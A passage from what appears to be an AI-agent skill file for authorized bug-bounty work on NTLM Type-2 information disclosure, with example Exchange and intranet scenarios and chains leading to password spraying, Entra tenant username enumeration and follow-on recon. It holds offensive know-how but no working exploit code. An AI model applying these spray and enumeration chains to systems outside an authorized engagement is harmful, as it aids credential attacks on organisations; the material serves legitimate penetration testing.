Target: `https://mail.example.com/EWS/Exchange.asmx`. Type-1 probe returns Type-2 with DNS Tree Name `corp.example.com` and DNS Computer Name `MAIL01.corp.example.com`. Confirms the Exchange edge is domain-joined to corporate AD (rather than running in a DMZ-isolated AD). For an attacker with the matching `hunt-mfa-bypass` / `hunt-auth-bypass` chain, the leaked UPN format and server-name format accelerate credential spraying by removing the recon step. Reported severity: Low-Medium depending on program.
|
|
281
|
+
|
|
282
|
+
### Scenario C — Intranet-only intentional leak (not a finding)
|
|
283
|
+
|
|
284
|
+
Target: `https://intranet.corp.example` (clearly internal, behind VPN). Type-1 returns full AV-pair set. Not reportable — this is intended NTLM behavior on intranet, and the disclosure is to authenticated VPN users who already see the same data via `nltest /dsgetdc:corp.example.com`. Recognize and drop.
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## Related Skills & Chains
|
|
289
|
+
|
|
290
|
+
- **`hunt-sharepoint`** — SharePoint farms emit anonymous Type-2 challenges on `/_vti_bin/` by default; this is one of the most reliable ways to get internal AD topology. Chain primitive: SharePoint discovered → NTLM Type-2 capture on `/_vti_bin/Lists.asmx` → `hunt-ntlm-info` AV_PAIR decode → internal forest name → `m365-entra-attack` ROPC spray on Entra tenant tied to that forest.
|
|
291
|
+
- **`m365-entra-attack`** — Leaked NetBIOS domain + UPN suffix is the missing piece for a credible password spray. Chain primitive: NTLM Type-2 yields `corp.example.com` DNS tree → cross-reference Entra tenant via `https://login.microsoftonline.com/corp.example.com/.well-known/openid-configuration` → `m365-entra-attack` AADSTS error-differential username enumeration on resolved tenant.
|
|
292
|
+
- **`hunt-aspnet`** — IIS sites running ASP.NET frequently expose NTLM on management paths. Chain primitive: NTLM Type-2 on `/owa/`, `/ecp/`, `/rpc/`, `/aspnet_client/` → confirm IIS + ASP.NET version → `hunt-aspnet` ViewState / `.axd` enumeration on same host.
|
|
293
|
+
- **`offensive-osint`** — The hostname pattern `WIN-XXXXXXXXXXX` signals lazy provisioning and predicts other weak hygiene. Chain primitive: NTLM Type-2 returns default-installer hostname → flag as low-maturity environment → `offensive-osint` deep recon (cert transparency, GitHub leakage, breach corpus correlation) is high-yield on this org.
|
|
294
|
+
- **`triage-validation`** — Most NTLM info-disclosure findings die at the 7-Question Gate on "is this exploitable" — pure topology disclosure is Low/Informational. Chain primitive: pull every NTLM-info finding through `triage-validation` BEFORE writing it up; only report if (a) leaks UPN format that accelerates spray, or (b) leaks production hostname mapping (`redteam-report-template` for the chain-narrative).
|
|
295
|
+
|
|
296
|
+
## When to Use
|
|
297
|
+
|
|
298
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
299
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
300
|
+
|
|
301
|
+
## Limitations
|
|
302
|
+
|
|
303
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
304
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
305
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
306
|
+
|
|
307
|
+
### Example
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Read-only first step; confirm scope before anything active.
|
|
311
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|